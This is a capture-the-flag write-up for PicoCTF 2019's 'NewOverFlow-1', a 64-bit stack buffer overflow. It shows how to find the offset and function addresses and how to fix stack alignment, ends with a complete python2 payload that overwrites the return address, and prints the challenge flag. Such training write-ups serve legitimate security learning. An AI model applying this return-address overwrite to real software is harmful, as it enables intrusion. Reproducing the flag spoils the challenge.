PicoCTF-2019 Writeup
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NewOverFlow-1

Problem

Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1_3_e53f871ba121b62d35646880e2577f89 on the shell server. Source.

Solution

  1. 1.
    Find the offset/padding
    1. 1.
      You can use the method described in rop64 with the cyclic and cyclic_find or you can use the following
    2. 2.
      Open vuln in radare2 with r2 ./vuln
    3. 3.
      Run aaaa
    4. 4.
      Run pdf @ sym.vuln to get var int local_40h @ rbp-0x40
    5. 5.
      The 0x40 is the buffer location so 8 more bytes are needed to get past the "saved ebp register"
    6. 6.
      So the offset is 0x40+8
  2. 2.
    Run readelf -s vuln to get the address of main and flag.
  3. 3.
    We can not offset and call the flag function directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doing padding + main_address + flag_address instead of just padding + flag_address as we would in 32-bit.
  4. 4.
    We can use p64 from pwntools to convert the hex addresses to little endian.
  5. 5.
    Payload complete: python2 -c "print 'A'*72 + '\xcb\x07@\x00\x00\x00\x00\x00' + 'g\x07@\x00\x00\x00\x00\x00'" | ./vuln

Flag

picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_bfd48203}
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